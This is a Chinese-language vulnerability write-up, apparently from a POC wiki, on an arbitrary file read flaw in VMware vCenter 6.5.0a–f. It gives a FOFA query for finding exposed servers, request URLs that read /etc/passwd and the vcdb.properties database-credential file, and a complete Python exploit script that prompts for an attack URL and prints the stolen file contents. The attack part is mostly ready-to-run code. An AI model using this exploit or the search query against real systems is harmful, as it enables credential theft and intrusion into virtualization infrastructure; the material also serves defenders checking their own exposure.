VMware vCenter 任意文件读取漏洞

漏洞描述

VMware vCenter特定版本存在任意文件读取漏洞，攻击者通过构造特定的请求，可以读取服务器上任意文件、

漏洞影响

VMware vCenter Server 6.5.0a- f 版本

FOFA

title="ID_VC_Welcome"

漏洞复现

image-20220209124210343

image-20220209124210343

使用POC访问漏洞点

<http://xxx.xxx.xxx.xxx/eam/vib?id=C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\vcdb.properties>

image-20220209124225730

image-20220209124225730

<https://xxx.xxx.xxx.xxx/eam/vib?id=/etc/passwd>

image-20220209124241987

image-20220209124241987

漏洞POC

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \\033[34mPOC_Des: <http://wiki.peiqi.tech>                                   \\033[0m')
    print('+  \\033[34mVersion: VMware vCenter任意文件读取漏洞                               \\033[0m')
    print('+  \\033[36m使用格式:  python3 poc.py                                            \\033[0m')
    print('+  \\033[36mUrl         >>> <http://xxx.xxx.xxx.xxx>                             \\033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url_windows = target_url + "/eam/vib?id=C:\\ProgramData\\VMware\\\\vCenterServer\\cfg\\\\vmware-vpx\\\\vcdb.properties"
    vuln_url_linux = target_url + "/eam/vib?id=/etc/passwd"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response_linux = requests.get(url=vuln_url_linux, headers=headers, verify=False, timeout=5)
        response_windows = requests.get(url=vuln_url_windows, headers=headers, verify=False, timeout=5)
        if "password" in response_windows.text and response_windows.status_code == 200:
            print("\\033[32m[o] 目标 {}存在漏洞 ,成功读取 vcdb.properties \\033[0m".format(target_url))
            print("\\033[32m[o] Windows系统, 响应为:\\n{} \\033[0m".format(response_windows.text))
        elif "root" in response_linux.text and response_linux.status_code == 200:
            print("\\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \\033[0m".format(target_url))
            print("\\033[32m[o] Linux系统, 响应为:\\n{} \\033[0m".format(response_linux.text))
        else:
            print("\\033[31m[x] 不存在漏洞 \\033[0m")
            sys.exit(0)
    except Exception as e:
        print("\\033[31m[x] 请求失败 \\033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\\033[35mPlease input Attack Url\\nUrl >>> \\033[0m"))
    POC_1(target_url)

image-20220209124258448

image-20220209124258448